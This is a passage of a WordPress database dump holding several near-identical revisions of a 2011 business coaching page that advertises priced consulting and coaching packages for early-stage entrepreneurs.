realizing your vision for your bigger future.\r\n\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-01-01 17:29:56', '2011-01-02 00:29:56', '', 138, 'http://www.whitehotcenter.com/2011/01/01/138-revision-111/', 0, 'revision', '', 0),
(1413, 2, '2011-01-01 17:36:32', '2011-01-02 00:36:32', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nI inspire, guide and create ideas for successful, early stage entrepreneurs and solo professionals you seek greater clarity, confidence and velocity to pursue their best opportunities to have more impact, influence and income. I pledge all my talent, knowledge and expertise to help you imagine and believe in a bigger vision for your better future, and align your real-world actions to accelerate your ability to turn possibility into achievement.\r\n\r\nThrough insight, guidance and creativity, our work together will focus on ideas, strategy and tactics for mastering the inner (creative plane), and outer (physical plane) of business and life success in four essential disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpand the quality of your presence and influence by elevating your thoughts, your effectiveness, and your contribution to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDesign a compelling vision for your total life experience based solely on what truly matters to you, living harmoniously from your own white hot center.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to develop ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and income through effective marketing and business development strategies that are highly valued by the best customers and clients, and highly differentiated from the alternatives in the marketplace.\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #808080;">I inspire and guide successful, early-stage entrepreneurs, to discover and pursue with clarity and confidence their bigger vision of their future.<strong> Through insight, guidance and creativity I can help you discover, define and pursue your best opportunities to create more value in the marketplace</strong><strong>.</strong></span></h2>\r\n<span style="color: #808080;"><strong>\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong> </strong></span><strong>Three decades of business development expertise.</strong>\r\nFor over 25 years, I''ve pursued my passion in life as a successful, creative entrepreneur, designer, writer, creative director and brand strategy and marketing consultant. I provide insight, guidance and creativity to senior executives in diverse global companies and owners of small start-ups alike. My expertise contributes to their capabilities, improves their effectiveness, and helps them make confident decisions about the strategic and creative aspects of increasing their impact and influence in the marketplace.  You can learn about my expertise in consumer products marketing, brand strategy and communications design at <a href="http://www.pullinc.com" target="_blank">PULL Brand Innovation.</a>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a> Strategic Business Development Coaching and Consulting</h2>\r\nThis package has been designed for early stage entrepreneurs who''ve been in business for at least 3 years and have sales revenues under $500,000.  Many entrepreneurs at this level have successfully sustained themselves in a "job", but have not yet broken the code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. If this describes your current circumstances, I provide strategic and creative guidance to help you focus on what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the focus necessary to provide more value to customers and clients, at the same time, creating more money, freedom and joy for you.\r\n\r\nYou''ll gain deeper insight and clarity on what is in the way of your growth and expansion. I will help you lock onto a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. With you and your team, we''ll outline specific tactics and develop the tools to help you express your unique advantage in ways that influence more demand for your products and services.\r\n<strong><span style="color: #ff6600;">$15K+ USD  This consulting package is individually tailored and scaled to your particular business issues, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session Coaching</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm coaching session designed to ignite dreamers and schemers, start-up entrepreneurs, solo professionals and artists. Clients gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required of you to make it happen. We can jam together on your ideas at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Immersion Power Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60 minute Power Session Jam conference calls that allow us to explore not just your ideas, but innovative methods for turning possibility into achievement. The calls are recorded and the Mp3 is sent back to you for your future reference.\r\n\r\n<strong><span style="color: #ff6600;">Individual Power Jam $500 USD</span></strong>\r\nThe 60 minute session is designed to spark your imagination, ignite wild and daring ideas to inspire you toward realizing your vision. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn that sets the trajectory for realizing your big ideas. The call is recorded for your future reference.\r\n<strong> </strong>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>\r\n\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry. From there, we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closely to realizing your vision for your bigger future.\r\n\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-01-01 17:36:32', '2011-01-02 00:36:32', '', 138, 'http://www.whitehotcenter.com/2011/01/01/138-revision-113/', 0, 'revision', '', 0),
(1412, 2, '2011-01-01 17:30:55', '2011-01-02 00:30:55', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nI inspire, guide and create ideas for successful, early stage entrepreneurs and solo professionals you seek greater clarity, confidence and velocity to pursue their best opportunities to have more impact, influence and income. I pledge all my talent, knowledge and expertise to help you imagine and believe in a bigger vision for your better future, and align your real-world actions to accelerate your ability to turn possibility into achievement.\r\n\r\nThrough insight, guidance and creativity, our work together will focus on ideas, strategy and tactics for mastering the inner (creative plane), and outer (physical plane) of business and life success in four essential disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpand the quality of your presence and influence by elevating your thoughts, your effectiveness, and your contribution to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDesign a compelling vision for your total life experience based solely on what truly matters to you, living harmoniously from your own white hot center.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to develop ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and income through effective marketing and business development strategies that are highly valued by the best customers and clients, and highly differentiated from the alternatives in the marketplace.\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #808080;">I inspire and guide successful, early-stage entrepreneurs, to discover and pursue with clarity and confidence their bigger vision of their future.<strong> Through insight, guidance and creativity I can help you discover, define and pursue your best opportunities to create more value in the marketplace</strong><strong>.</strong></span></h2>\r\n<span style="color: #808080;"><strong>\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong> </strong></span><strong>About Me</strong>\r\nFor over 25 years, I''ve pursued my passion in life as a successful, creative entrepreneur, designer, writer, creative director and brand strategy and marketing consultant. I provide insight, guidance and creativity to senior executives in diverse global companies and owners of small start-ups alike. My expertise contributes to their capabilities, improves their effectiveness, and helps them make confident decisions about the strategic and creative aspects of increasing their impact and influence in the marketplace.  You can learn about my expertise in consumer products marketing, brand strategy and communications design at <a href="http://www.pullinc.com" target="_blank">PULL Brand Innovation.</a>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a> Strategic Business Development Coaching and Consulting</h2>\r\nThis package has been designed for early stage entrepreneurs who''ve been in business for at least 3 years and have sales revenues under $500,000.  Many entrepreneurs at this level have successfully sustained themselves in a "job", but have not yet broken the code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. If this describes your current circumstances, I provide strategic and creative guidance to help you focus on what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the focus necessary to provide more value to customers and clients, at the same time, creating more money, freedom and joy for you.\r\n\r\nYou''ll gain deeper insight and clarity on what is in the way of your growth and expansion. I will help you lock onto a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. With you and your team, we''ll outline specific tactics and develop the tools to help you express your unique advantage in ways that influence more demand for your products and services.\r\n<strong><span style="color: #ff6600;">$15K+ USD  This consulting package is individually tailored and scaled to your particular business issues, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session Coaching</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm coaching session designed to ignite dreamers and schemers, start-up entrepreneurs, solo professionals and artists. Clients gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required of you to make it happen. We can jam together on your ideas at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Immersion Power Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60 minute Power Session Jam conference calls that allow us to explore not just your ideas, but innovative methods for turning possibility into achievement. The calls are recorded and the Mp3 is sent back to you for your future reference.\r\n\r\n<strong><span style="color: #ff6600;">Individual Power Jam $500 USD</span></strong>\r\nThe 60 minute session is designed to spark your imagination, ignite wild and daring ideas to inspire you toward realizing your vision. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn that sets the trajectory for realizing your big ideas. The call is recorded for your future reference.\r\n<strong> </strong>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>\r\n\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry. From there, we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closely to realizing your vision for your bigger future.\r\n\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-01-01 17:30:55', '2011-01-02 00:30:55', '', 138, 'http://www.whitehotcenter.com/2011/01/01/138-revision-112/', 0, 'revision', '', 0),
(1414, 2, '2011-01-01 17:41:12', '2011-01-02 00:41:12', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nI inspire, guide and create ideas for successful, early stage entrepreneurs and solo professionals you seek greater clarity, confidence and velocity to pursue their best opportunities to have more impact, influence and income. I pledge all my talent, knowledge and expertise to help you imagine and believe in a bigger vision for your better future, and align your real-world actions to accelerate your ability to turn possibility into achievement.\r\n\r\nThrough insight, guidance and creativity, our work together will focus on ideas, strategy and tactics for mastering the inner (creative plane), and outer (physical plane) of business and life success in four essential disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpand the quality of your presence and influence by elevating your thoughts, your effectiveness, and your contribution to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDesign a compelling vision for your total life experience based solely on what truly matters to you, living harmoniously from your own white hot center.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to develop ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and income through effective marketing and business development strategies that are highly valued by the best customers and clients, and highly differentiated from the alternatives in the marketplace.\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #808080;">I inspire and guide successful, early-stage entrepreneurs, to discover and pursue with clarity and confidence their bigger vision of their future.<strong> Through insight, guidance and creativity I can help you discover, define and pursue your best opportunities to create more value in the marketplace</strong><strong>.</strong></span></h2>\r\n<span style="color: #808080;"><strong>\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong> </strong></span><strong>Three decades of business development expertise.</strong>\r\nFor over 25 years, I''ve pursued my passion in life as a successful, creative entrepreneur, designer, writer, creative director and brand strategy and marketing consultant. I provide insight, guidance and creativity to senior executives in diverse global companies and owners of small start-ups alike. My expertise contributes to their capabilities, improves their effectiveness, and helps them make confident decisions about the strategic and creative aspects of increasing their impact and influence in the marketplace.  You can learn about my expertise in consumer products marketing, brand strategy and communications design at <a href="http://www.pullinc.com" target="_blank">PULL Brand Innovation.</a>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a> Strategic Business Development Consulting</h2>\r\nAn issue-based consulting program designed for early stage entrepreneurs and solo professionals who''ve been in business for at least 3 years and have sales revenues under $500,000.  Many entrepreneurs at this level have successfully sustained themselves in a "job", but have not yet broken the code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. If this describes your current circumstances, I provide strategic and creative guidance to help you overcome whatever barriers are holding back your progress toward achieving your stated business goals.\r\n\r\nThrough innovation and creativity, we’ll create a detailed plan designed around your strengths and unique talents that will foster sustained competitive advantage in your business. With you and your team, we develop a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. To leverage your enhanced positioning, we will provide specific recommendations and strategic imperatives to improve the effectiveness of your brand identity, marketing, and communications at every touch point of interaction with your clients and customers.\r\n\r\nFrom your increased awareness of the entrepreneur’s abundance mindset and the practices that make an extraordinary leader, you''ll experience notably more clarity and confidence to pursue your best opportunities to serve higher value clients and customers who delight in their experience of doing business with you. And as a result, happily exchange higher sums of money to show their appreciation for the value you are creating for them. The strategic business development consulting is designed for those entrepreneurs who have identified a specific issue in their business development that requires an immediate   solution to accelerate progress in taking their business to next level.\r\n\r\n<span style="color: #ff6600;"><strong>Minimum investment: $15K+ USD\r\nThe duration of this consulting engagement is generally within a 6-8week time frame.</strong></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session Coaching</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm coaching session designed to ignite dreamers and schemers, start-up entrepreneurs, solo professionals and artists. Clients gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required of you to make it happen. We can jam together on your ideas at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Immersion Power Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60 minute Power Session Jam conference calls that allow us to explore not just your ideas, but innovative methods for turning possibility into achievement. The calls are recorded and the Mp3 is sent back to you for your future reference.\r\n\r\n<strong><span style="color: #ff6600;">Individual Power Jam $500 USD</span></strong>\r\nThe 60 minute session is designed to spark your imagination, ignite wild and daring ideas to inspire you toward realizing your vision. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn that sets the trajectory for realizing your big ideas. The call is recorded for your future reference.\r\n<strong> </strong>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>\r\n\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry. From there, we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closely to realizing your vision for your bigger future.\r\n\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-01-01 17:41:12', '2011-01-02 00:41:12', '', 138, 'http://www.whitehotcenter.com/2011/01/01/138-revision-114/', 0, 'revision', '', 0);
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(1416, 2, '2011-01-01 17:52:24', '2011-01-02 00:52:24', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nI inspire, guide and create ideas for successful, early stage entrepreneurs and solo professionals you seek greater clarity, confidence and velocity to pursue their best opportunities to have more impact, influence and income. I pledge all my talent, knowledge and expertise to help you imagine and believe in a bigger vision for your better future, and align your real-world actions to accelerate your ability to turn possibility into achievement.\r\n\r\nThrough insight, guidance and creativity, our work together will focus on ideas, strategy and tactics for mastering the inner (creative plane), and outer (physical plane) of business and life success in four essential disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpand the quality of your presence and influence by elevating your thoughts, your effectiveness, and your contribution to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDesign a compelling vision for your total life experience based solely on what truly matters to you, living harmoniously from your own white hot center.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to develop ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and income through effective marketing and business development strategies that are highly valued by the best customers and clients, and highly differentiated from the alternatives in the marketplace.\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #808080;">I inspire and guide successful, early-stage entrepreneurs, to discover and pursue with clarity and confidence their bigger vision of their future.<strong> Through insight, guidance and creativity I can help you discover, define and pursue your best opportunities to create more value in the marketplace</strong><strong>.</strong></span></h2>\r\n<span style="color: #808080;"><strong>\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong> </strong></span><strong>Three decades of business development expertise.</strong>\r\nFor over 25 years, I''ve pursued my passion in life as a successful, creative entrepreneur, designer, writer, creative director and brand strategy and marketing consultant. I provide insight, guidance and creativity to senior executives in diverse global companies and owners of small start-ups alike. My expertise contributes to their capabilities, improves their effectiveness, and helps them make confident decisions about the strategic and creative aspects of increasing their impact and influence in the marketplace.  You can learn about my expertise in consumer products marketing, brand strategy and communications design at <a href="http://www.pullinc.com" target="_blank">PULL Brand Innovation.</a>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a> Strategic Business Development Consulting</h2>\r\nAn issue-based consulting program designed for early stage entrepreneurs and solo professionals who''ve been in business for at least 3 years and have sales revenues under $500,000.  Many entrepreneurs at this level have successfully sustained themselves in a "job", but have not yet broken the code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. The strategic business development consulting is designed for those  entrepreneurs who have identified a specific issue in their business  development that requires an immediate solution to accelerate progress  in taking their business to next level. If this describes your current circumstances, I provide strategic and creative guidance to help you overcome whatever barriers are holding back your progress toward achieving your stated business goals.\r\n\r\nThrough innovation and creativity, we’ll create a detailed plan designed around your strengths and unique talents that will foster sustained competitive advantage in your business. With you and your team, we develop a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. To leverage your enhanced positioning, we will provide specific recommendations and strategic imperatives to improve the effectiveness of your brand identity, marketing, and communications at every touch point of interaction with your clients and customers.\r\n\r\nFrom your increased awareness of the entrepreneur’s abundance mindset and the practices that make an extraordinary leader, you''ll experience notably more clarity and confidence to pursue your best opportunities to serve higher value clients and customers who delight in their experience of doing business with you. And as a result, happily exchange higher sums of money to show their appreciation for the value you are creating for them.\r\n\r\n<span style="color: #ff6600;"><strong>Minimum investment: $15K+ USD\r\nThe duration of this consulting engagement is generally within a 6-8week time frame.</strong></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Business Coaching</h2>\r\nLeveraging your personal effectiveness, clarity and confidence by an order of magnitude is a quantum leap. You shouldn’t be surprised to learn that peek performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs. If you want to accelerate your rate of achievement, you must relinquish your current habits and kick up your game.  Begin to shift your thinking from limits and obstacles to possibilities. To do that, let your burning desires guide the way forward. I can help increase your clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\nI provide on-going business coaching that will inspire you to increase the quality of your presence in every aspect of your business and life success. Our coaching format is highly flexible, (and mostly virtual) involving conference calls and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.\r\n\r\n<span style="color: #ff6600;"><strong>Minimum Investment: $2,500USD monthly for period of three (3) months.</strong></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>\r\n\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry. From there, we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closely to realizing your vision for your bigger future.\r\n\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-01-01 17:52:24', '2011-01-02 00:52:24', '', 138, 'http://www.whitehotcenter.com/2011/01/01/138-revision-116/', 0, 'revision', '', 0),
(1415, 2, '2011-01-01 17:46:16', '2011-01-02 00:46:16', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nI inspire, guide and create ideas for successful, early stage entrepreneurs and solo professionals you seek greater clarity, confidence and velocity to pursue their best opportunities to have more impact, influence and income. I pledge all my talent, knowledge and expertise to help you imagine and believe in a bigger vision for your better future, and align your real-world actions to accelerate your ability to turn possibility into achievement.\r\n\r\nThrough insight, guidance and creativity, our work together will focus on ideas, strategy and tactics for mastering the inner (creative plane), and outer (physical plane) of business and life success in four essential disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpand the quality of your presence and influence by elevating your thoughts, your effectiveness, and your contribution to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDesign a compelling vision for your total life experience based solely on what truly matters to you, living harmoniously from your own white hot center.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to develop ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and income through effective marketing and business development strategies that are highly valued by the best customers and clients, and highly differentiated from the alternatives in the marketplace.\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #808080;">I inspire and guide successful, early-stage entrepreneurs, to discover and pursue with clarity and confidence their bigger vision of their future.<strong> Through insight, guidance and creativity I can help you discover, define and pursue your best opportunities to create more value in the marketplace</strong><strong>.</strong></span></h2>\r\n<span style="color: #808080;"><strong>\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong> </strong></span><strong>Three decades of business development expertise.</strong>\r\nFor over 25 years, I''ve pursued my passion in life as a successful, creative entrepreneur, designer, writer, creative director and brand strategy and marketing consultant. I provide insight, guidance and creativity to senior executives in diverse global companies and owners of small start-ups alike. My expertise contributes to their capabilities, improves their effectiveness, and helps them make confident decisions about the strategic and creative aspects of increasing their impact and influence in the marketplace.  You can learn about my expertise in consumer products marketing, brand strategy and communications design at <a href="http://www.pullinc.com" target="_blank">PULL Brand Innovation.</a>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a> Strategic Business Development Consulting</h2>\r\nAn issue-based consulting program designed for early stage entrepreneurs and solo professionals who''ve been in business for at least 3 years and have sales revenues under $500,000.  Many entrepreneurs at this level have successfully sustained themselves in a "job", but have not yet broken the code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. The strategic business development consulting is designed for those  entrepreneurs who have identified a specific issue in their business  development that requires an immediate solution to accelerate progress  in taking their business to next level. If this describes your current circumstances, I provide strategic and creative guidance to help you overcome whatever barriers are holding back your progress toward achieving your stated business goals.\r\n\r\nThrough innovation and creativity, we’ll create a detailed plan designed around your strengths and unique talents that will foster sustained competitive advantage in your business. With you and your team, we develop a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. To leverage your enhanced positioning, we will provide specific recommendations and strategic imperatives to improve the effectiveness of your brand identity, marketing, and communications at every touch point of interaction with your clients and customers.\r\n\r\nFrom your increased awareness of the entrepreneur’s abundance mindset and the practices that make an extraordinary leader, you''ll experience notably more clarity and confidence to pursue your best opportunities to serve higher value clients and customers who delight in their experience of doing business with you. And as a result, happily exchange higher sums of money to show their appreciation for the value you are creating for them.\r\n\r\n<span style="color: #ff6600;"><strong>Minimum investment: $15K+ USD\r\nThe duration of this consulting engagement is generally within a 6-8week time frame.</strong></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session Coaching</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm coaching session designed to ignite dreamers and schemers, start-up entrepreneurs, solo professionals and artists. Clients gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required of you to make it happen. We can jam together on your ideas at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Immersion Power Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60 minute Power Session Jam conference calls that allow us to explore not just your ideas, but innovative methods for turning possibility into achievement. The calls are recorded and the Mp3 is sent back to you for your future reference.\r\n\r\n<strong><span style="color: 